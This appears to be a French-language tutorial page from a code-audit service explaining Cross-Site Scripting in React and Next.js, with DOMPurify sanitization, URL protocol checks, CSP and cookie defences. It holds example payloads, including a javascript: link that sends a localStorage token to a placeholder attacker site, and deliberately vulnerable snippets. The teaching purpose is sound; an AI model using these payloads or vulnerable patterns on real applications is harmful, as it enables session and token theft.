XSS : injection de contenu actif et assainissement
Comprendre les mécanismes du Cross-Site Scripting (XSS), le modèle de rendu React, les faiblesses des sinks HTML et la stratégie de défense en profondeur.
Sur cette page (14 sections)▼
Le Cross-Site Scripting (XSS) est une vulnérabilité de sécurité web permettant à un attaquant d'injecter du code exécutable côté client (généralement du JavaScript) au sein d'une page consultée par d'autres utilisateurs. Contrairement aux vulnérabilités purement serveur comme les injections SQL ou les failles SSRF, l'exécution malveillante se produit directement dans le contexte de session du navigateur de la victime.
Lorsque du script malveillant s'exécute dans le navigateur d'un visiteur, l'attaquant accède à l'ensemble des capacités et privilèges de la session : lecture des données du stockage local (localStorage, sessionStorage), extraction de jetons non protégés, détournement du Document Object Model (DOM), redirection transparente vers un site d'hameçonnage ou émission de requêtes authentifiées à l'insu de l'utilisateur.
Modèle conceptuel : sources, sinks et contextes d'exécution
Pour analyser et corriger une faille XSS avec méthode, la sécurité applicative s'appuie sur trois concepts fondamentaux :
Source non fiable (Entrée) ──► Flux de données applicatif ──► Sink d'injection (HTML / DOM / URL)
- Donnée utilisateur (input, query, body) - dangerouslySetInnerHTML
- Donnée tierce (webhook, CMS, API distante) - element.innerHTML / outerHTML
- Modèle IA (génération LLM non validée) - document.write
- Attribut href="javascript:..."
1. Les sources (sources)
Une source est un point d'entrée par lequel des données externes ou non maîtrisées pénètrent dans le périmètre applicatif. Les sources incluent :
- Les champs de saisie formulaire, paramètres d'URL (
searchParams) et fragments d'ancrage (hash) ; - Les contenus persistés en base de données fournis par d'autres utilisateurs (commentaires, descriptions de profils, messages de support) ;
- Les réponses d'API tierces, webhooks ou flux RSS externes ;
- Les sorties brutes générées par des modèles de langage (LLM / IA générative) intégrant des données utilisateur dans leur contexte.
2. Les puits d'injection (sinks)
Un puits d'injection (ou sink) est une fonction d'API web, une directive de framework ou une primitive DOM capable d'interpréter une chaîne de caractères comme du balisage HTML ou du code exécutable. Dans l'écosystème web moderne, les sinks les plus fréquents sont :
- En JavaScript natif :
element.innerHTML,element.outerHTML,document.write(),eval(),new Function(); - En React / Next.js : la propriété explicite
dangerouslySetInnerHTML={{ __html: ... }}; - Dans les liaisons d'attributs dynamiques :
<a href={url}>ou<iframe src={url}>lorsque le protocole n'est pas borné.
3. Les contextes d'exécution
L'impact d'une donnée dépend du contexte précis dans lequel elle est insérée :
- Contexte corps HTML : Balises et texte brut (
<div>{contenu}</div>) ; - Contexte attribut HTML : Valeurs entre guillemets (
<input value="{valeur}">) ; - Contexte URL / navigation : Attributs recevant des liens (
href,src,action) ; - Contexte script / JSON inline : Balises
<script>ou scripts de déshydratation d'état (__NEXT_DATA__).
Une technique de protection efficace pour un contexte corps HTML peut être inopérante pour un contexte URL ou un contexte de script.
Pourquoi React et JSX protègent par défaut... et leurs limites
L'un des apports majeurs de React est sa protection native contre le XSS standard par le biais de l'échappement automatique des chaînes de caractères.
Lorsque vous écrivez une expression JSX classique :
// Protection native : React traite la chaîne comme du texte pur
function UserGreeting({ name }: { name: string }) {
return <h1>Bonjour {name}</h1>;
}
React convertit systématiquement les caractères réservés du balisage HTML (<, >, &, ", ') en entités typographiques inoffensives avant l'insertion dans le DOM réel. Même si la variable name contient <script>alert(1)</script>, le navigateur affiche littéralement les balises comme du texte et n'exécute aucun code.
Le contournement explicite : dangerouslySetInnerHTML
La protection par défaut de React s'arrête dès que le développeur force l'interprétation HTML brute :
// Vulnérabilité majeure : contournement volontaire de la protection JSX
function RenderUserBio({ bioHtml }: { bioHtml: string }) {
return <div dangerouslySetInnerHTML={{ __html: bioHtml }} />;
}
Ce motif apparaît fréquemment dans les applications modernes pour afficher du texte enrichi (WYSIWYG), du contenu Markdown compilé, ou des descriptions rédigées par des tiers. Si la variable bioHtml contient du balisage injecté (<img src="invalide" onerror="fetch('/api/token')...">), le navigateur exécutera l'instruction dès l'insertion du nœud.
Le piège des attributs href et protocoles javascript:
L'échappement contextuel de React ne vérifie pas la validité du schéma d'une URL. Une liaison d'attribut apparemment anodine peut constituer un sink d'exécution direct :
// Faux sentiment de sécurité : React échappe les caractères HTML mais valide le lien
function WebsiteLink({ url }: { url: string }) {
return <a href={url}>Visiter le site</a>;
}
Si la valeur de url est javascript:alert(document.cookie) ou javascript:window.location='https://site-pirate.com/?c='+encodeURIComponent(localStorage.getItem('token')), le clic de l'utilisateur sur le lien déclenche immédiatement l'exécution du script dans le contexte du domaine.
Distinction fondamentale : Sanitization, Escaping et Validation
La sécurisation contre le XSS exige de ne pas confondre trois techniques complémentaires :
| Mécanisme | Rôle principal | Exemple type | Limite à connaître |
|---|---|---|---|
| Validation | Vérifier la conformité de l'entrée selon un schéma strict avant traitement. | Schéma Zod z.string().url() ou allowlist de valeurs acceptées. | Rejette les entrées invalides mais ne permet pas d'accepter du HTML enrichi légitime. |
| Échappement (Escaping) | Transformer les caractères de contrôle en entités textuelles passives. | Échappement JSX natif ou he.encode(). | Neutralise le code mais détruit la mise en forme si l'objectif est d'afficher du HTML enrichi. |
| Assainissement (Sanitization) | Analyser l'arbre DOM, purger les balises dangereuses et attributs malveillants tout en préservant le balisage sûr. | Bibliothèque DOMPurify ou isomorphic-dompurify. | Dépend de la fraîcheur du moteur de parsing et d'une configuration rigoureuse des balises autorisées. |
Règle d'or de l'assainissement HTML
Pour afficher du HTML enrichi en toute sécurité, la désinfection doit être effectuée à l'aide d'un parseur DOM reconnu et éprouvé tel que DOMPurify :
import DOMPurify from 'isomorphic-dompurify';
export function sanitizeHtml(rawInput: string): string {
return DOMPurify.sanitize(rawInput, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'ul', 'ol', 'li', 'code', 'pre'],
ALLOWED_ATTR: ['href', 'target', 'rel'],
});
}
Validation des URLs dynamiques
Pour tout lien manipulé dynamiquement, appliquez une vérification de protocole stricte interdisant formellement javascript:, data: et vbscript: :
export function sanitizeSafeUrl(rawUrl: string): string {
const trimmed = rawUrl.trim();
try {
const parsed = new URL(trimmed, 'https://example.local');
if (parsed.protocol !== 'http:' && parsed.protocol !== 'https:' && parsed.protocol !== 'mailto:') {
return '#';
}
return trimmed;
} catch {
return '#';
}
}
Les trois familles de XSS
- XSS Stockée (Stored / Persistent XSS) : Le vecteur malveillant est sauvegardé de manière permanente dans la base de données (exemple : biographie de profil ou avis produit). Chaque utilisateur consultant la page charge le payload. C'est la variante la plus dévastatrice.
- XSS Réfléchie (Reflected XSS) : Le payload est transmis dans la requête HTTP (généralement dans un paramètre d'URL de recherche) et réinjecté immédiatement dans la réponse HTML serveur sans assainissement.
- XSS basée sur le DOM (DOM-based XSS) : La faille réside intégralement dans le code JavaScript exécuté côté navigateur, qui lit une source DOM (comme
location.hashouwindow.name) et la passe à un sink d'exécution sans passage obligatoire par le serveur.
Défense en profondeur : En-têtes HTTP et Cookies
L'assainissement du code applicatif constitue la première ligne de défense. Une architecture robuste met en place une protection en couches complémentaires :
- Politique de sécurité de contenu (Content Security Policy - CSP) : L'en-tête HTTP
Content-Security-Policypermet au serveur de restreindre les sources de scripts autorisées, d'interdire l'évaluation dynamique (unsafe-eval) et d'empêcher les scripts inline sans hachage ou jeton cryptographique (nonce). - Attribut
HttpOnlysur les cookies d'authentification : En marquant les cookies de session avec le flagHttpOnly, le navigateur empêche formellement tout script côté client (y compris malveillant) d'accéder au cookie viadocument.cookie. - Attribut
SameSite=LaxouStrict: Protège contre les rebonds inter-sites non sollicités et renforce l'isolation des requêtes d'authentification.
Ce que GVO observe sur ce sujet
Dans le cadre de l'audit de votre dépôt, GVO effectue une analyse statique ciblée des flux de rendu :
- Ce que GVO peut observer :
- Détection de l'usage de la propriété
dangerouslySetInnerHTMLet des sinks natifs d'insertion HTML brute (innerHTML,outerHTML) ; - Analyse du flux de données pour vérifier si la valeur injectée provient d'une source non fiable (paramètres d'URL, props de composants, données externes) ;
- Vérification de la présence d'une frontière d'assainissement observable (appel à DOMPurify, sanitizeHtml, ou fonction de validation reconnue) entre la source et le sink.
- Détection de l'usage de la propriété
- Ce que GVO ne peut pas garantir :
- Une analyse statique ne teste pas dynamiquement la résistance d'une configuration personnalisée d'assainisseur aux contournements complexes de parsing de navigateurs marginaux ;
- GVO ne valide pas les en-têtes CSP injectés dynamiquement par votre fournisseur de CDN (Cloudflare, AWS CloudFront) s'ils ne sont pas déclarés dans la configuration de votre projet Next.js (
next.config.jsou middleware).
Sources et références
À poursuivre
Vérifier ce point sur votre projet
GVO confronte le code et les configurations de votre application aux règles de sécurité réelles.